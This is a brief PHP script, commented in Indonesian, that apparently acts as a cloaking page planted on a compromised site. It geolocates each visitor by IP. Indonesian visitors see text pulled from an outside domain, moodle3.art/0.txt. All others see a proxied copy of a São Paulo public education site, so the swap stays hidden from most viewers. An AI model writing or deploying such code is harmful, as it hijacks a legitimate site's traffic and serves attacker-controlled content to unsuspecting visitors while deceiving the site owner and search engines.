<?php

error_reporting(E_ALL);
ini_set('display_errors', 1);

function getVisitorCountry() {
    $ip = $_SERVER['REMOTE_ADDR'];
    $api_url = "http://ip-api.com/json/{$ip}";

    $curl = curl_init();
    curl_setopt($curl, CURLOPT_URL, $api_url);
    curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($curl, CURLOPT_TIMEOUT, 5); // Tambahkan timeout untuk menghindari request lama

    $response = curl_exec($curl);

    if (curl_errno($curl)) {
        return "Error: " . curl_error($curl);
    }

    curl_close($curl);

    $data = json_decode($response, true);

    return ($data['status'] === 'success') ? $data['country'] : "Unknown";
}

if (getVisitorCountry() === 'Indonesia') {
    // Jika pengunjung dari Indonesia, tampilkan konten dari https://moodle3.art/0.txt
    $curl = curl_init();
    curl_setopt($curl, CURLOPT_URL, 'https://moodle3.art/0.txt');
    curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($curl, CURLOPT_TIMEOUT, 5); // Timeout untuk menghindari waktu tunggu lama

    $content = curl_exec($curl);
    
    if (curl_errno($curl)) {
        $content = "Error: " . curl_error($curl);
    }

    curl_close($curl);

    echo $content;
} else {
    // Ambil konten halaman utama dari URL yang diinginkan
    $curl = curl_init();
    curl_setopt($curl, CURLOPT_URL, 'https://inovaead.cps.sp.gov.br/');
    curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
    $content = curl_exec($curl);
    curl_close($curl);

    // Tampilkan konten halaman utama
    echo $content;
}
?>
